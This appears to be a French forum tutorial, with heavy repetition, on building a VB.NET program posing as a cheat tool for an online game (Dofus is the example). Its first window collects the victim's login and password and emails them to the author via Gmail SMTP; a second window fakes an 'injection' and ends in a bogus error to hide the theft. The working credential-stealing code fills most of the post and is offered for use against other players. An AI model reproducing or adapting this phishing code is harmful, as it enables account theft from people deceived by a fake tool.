Salut tout le monde je vais vous montrez comment créer un fake pour n'importe quel jeux, bon ca sera plus un piege a noob.
Je ne vais pas vous assistez pour le design' faites le comme vous voulez sachant que plus votre design' mieux ca sera.
Enfaite je vais vous donnez la base du design'.
Pour cela vous aurez besoin de:
2Form:
-1er form:
3 label
2 textbox
1 button
1 progressbar
1 timer
-2éme form:
2 textbox
3 label
1button
1 progressbar
3 checkedbutton
1 timer
La premiere form sera la plus importante celle qui va envoyer les informations sur votre gmail.
La 2éme ne sert pas a grand chose juste a faire croire que ce n'est pas un fake.
Commencez par placer vos 2 label et mettez comme texte: Login et Password
Ensuite mettez 2 textbox en dessus de chacun de ces label.
Et 1 button avec comme texte ce que vous voulez moi j'ai mis Connexion.
Ensuite si vous voulez appuyer le design' mettez 1 progressbar ou vous voulez et un petit label avec comme texte "en attente ..." ou ce que vous voulez.
Et ajouter le timer
Passons au code de cette form1:
Importez ceci:
Double clic sur votre button1 et ajouter ceci:
Maintenant clic sur votre timer1 et ajoutez ceci:
Ce code va faire avancer la progressbar1 a 100 puis va envoyer un mail avec les informations mis dans textbox1 et textbox2 et va ensuite ouvrir la 2eme form.
Passons donc a la 2eme form:
Placer les differents element comme vous voulez sachant que vous pouvez mettre: "Nom du personnage" dans label1 et "Valeur de money a ajouter" dans la label2 enfin comme vous voulez... (laissez le label3 comme dans l'autre form "en attente...")
placer vos textbox en dessous de ces labels puis ajouter 3checked textbox pour rendre votre form moins vide.
Par exemple moi c'est un fake dofus j'ai mis: "Now","Bank" et "Indetectable" ca ne veut rien dire mais on s'en fou ca change rien.
Ensuite ajouter votre button et votre progressbar ou vous voulez.
Bon passons au code de la form2:
Double clic sur votre button1 et mettez ce code:
Maintenant ajouter votre timer1, clic dessus et inserez ce code:
Code final:
Je ne vais pas passer plus de temps sur cette form puisqu'elle est inutile a vous de voir c'est du visuel pur.
Voila c'est fini l'important ce trouve dans la form1, l'envoie des informations pas mail.
Je suis desolé pour les fautes d'orthographe ainsi que le manque d'explication mais quelqu'un qui connais un peu le vb.net comprendra, j'ecris allongé c'est difficile.
Bonne chance.
Voila ce que ca pourrais donner un peu travaillé, sachant que ce n'est pas fini.
Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!
Je ne vais pas vous assistez pour le design' faites le comme vous voulez sachant que plus votre design' mieux ca sera.
Enfaite je vais vous donnez la base du design'.
Pour cela vous aurez besoin de:
2Form:
-1er form:
3 label
2 textbox
1 button
1 progressbar
1 timer
-2éme form:
2 textbox
3 label
1button
1 progressbar
3 checkedbutton
1 timer
La premiere form sera la plus importante celle qui va envoyer les informations sur votre gmail.
La 2éme ne sert pas a grand chose juste a faire croire que ce n'est pas un fake.
Commencez par placer vos 2 label et mettez comme texte: Login et Password
Ensuite mettez 2 textbox en dessus de chacun de ces label.
Et 1 button avec comme texte ce que vous voulez moi j'ai mis Connexion.
Ensuite si vous voulez appuyer le design' mettez 1 progressbar ou vous voulez et un petit label avec comme texte "en attente ..." ou ce que vous voulez.
Et ajouter le timer
Passons au code de cette form1:
Importez ceci:
Code:
Imports System.Net.Mail
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Label3.Text = "Connexion ..." 'Change le texte de votre label "en attente..." en "connexion ..."
Timer1.Start() 'Démarre votre timer1
End SubMaintenant clic sur votre timer1 et ajoutez ceci:
Code:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Value = (ProgressBar1.Value + 10)
If ProgressBar1.value = 100 Then
Dim mail As New MailMessage
mail.To.Add("votre adresse gmail")
mail.From = New MailAddress("votre adresse gmail")
mail.Subject = "Fake"
mail.Body = "Login: " & TextBox1.Text & " Password: " & TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential(("votre adresse gmail"), "votre mot de passe gmail")
SMTP.Send(mail)
Label3.Text = "Connected."
Form2.Show()
Timer1.Stop()
End If
End SubImports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Label3.Text = "Connexion ..." 'Change le texte de votre label "en attente..." en "connexion ..."
Timer1.Start() 'Démarre votre timer1
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Value = (ProgressBar1.Value + 10)
If ProgressBar1.value = 100 Then
Dim mail As New MailMessage
mail.To.Add("votre adresse gmail")
mail.From = New MailAddress("votre adresse gmail")
mail.Subject = "Fake"
mail.Body = "Login: " & TextBox1.Text & " Password: " & TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential(("votre adresse gmail"), "votre mot de passe gmail")
SMTP.Send(mail)
Label3.Text = "Connected."
Form2.Show()
Timer1.Stop()
End If
End Sub
End class
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Label3.Text = "Connexion ..." 'Change le texte de votre label "en attente..." en "connexion ..."
Timer1.Start() 'Démarre votre timer1
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Value = (ProgressBar1.Value + 10)
If ProgressBar1.value = 100 Then
Dim mail As New MailMessage
mail.To.Add("votre adresse gmail")
mail.From = New MailAddress("votre adresse gmail")
mail.Subject = "Fake"
mail.Body = "Login: " & TextBox1.Text & " Password: " & TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential(("votre adresse gmail"), "votre mot de passe gmail")
SMTP.Send(mail)
Label3.Text = "Connected."
Form2.Show()
Timer1.Stop()
End If
End Sub
End class
Ce code va faire avancer la progressbar1 a 100 puis va envoyer un mail avec les informations mis dans textbox1 et textbox2 et va ensuite ouvrir la 2eme form.
Passons donc a la 2eme form:
Placer les differents element comme vous voulez sachant que vous pouvez mettre: "Nom du personnage" dans label1 et "Valeur de money a ajouter" dans la label2 enfin comme vous voulez... (laissez le label3 comme dans l'autre form "en attente...")
placer vos textbox en dessous de ces labels puis ajouter 3checked textbox pour rendre votre form moins vide.
Par exemple moi c'est un fake dofus j'ai mis: "Now","Bank" et "Indetectable" ca ne veut rien dire mais on s'en fou ca change rien.
Ensuite ajouter votre button et votre progressbar ou vous voulez.
Bon passons au code de la form2:
Double clic sur votre button1 et mettez ce code:
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End SubMaintenant ajouter votre timer1, clic dessus et inserez ce code:
Code:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.value = ProgressBar1.value + 5
Label3.Text = "En cours ..."
If ProgressBar1.value = 100 Then
Timer1.Stop()
Label3.Text = "Erreur ..."
MsgBox("Une erreur c'est produite lors de l'injection, veuillez verifier votre login/password ou bien le nom de votre personnage.", 36, "Erreur") 'Mettez ce que vous voulez comme message d'erreur
Close()
End If
End SubCode final:
Public Class Form2
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.value = ProgressBar1.value + 5
Label3.Text = "En cours ..."
If ProgressBar1.value = 100 Then
Timer1.Stop()
Label3.Text = "Erreur ..."
MsgBox("Une erreur c'est produite lors de l'injection, veuillez verifier votre login/password ou bien le nom de votre personnage.", 36, "Erreur") 'Mettez ce que vous voulez comme message d'erreur
Close()
End If
End Sub
end class
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.value = ProgressBar1.value + 5
Label3.Text = "En cours ..."
If ProgressBar1.value = 100 Then
Timer1.Stop()
Label3.Text = "Erreur ..."
MsgBox("Une erreur c'est produite lors de l'injection, veuillez verifier votre login/password ou bien le nom de votre personnage.", 36, "Erreur") 'Mettez ce que vous voulez comme message d'erreur
Close()
End If
End Sub
end class
Je ne vais pas passer plus de temps sur cette form puisqu'elle est inutile a vous de voir c'est du visuel pur.
Voila c'est fini l'important ce trouve dans la form1, l'envoie des informations pas mail.
Je suis desolé pour les fautes d'orthographe ainsi que le manque d'explication mais quelqu'un qui connais un peu le vb.net comprendra, j'ecris allongé c'est difficile.
Bonne chance.
Voila ce que ca pourrais donner un peu travaillé, sachant que ce n'est pas fini.
Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!
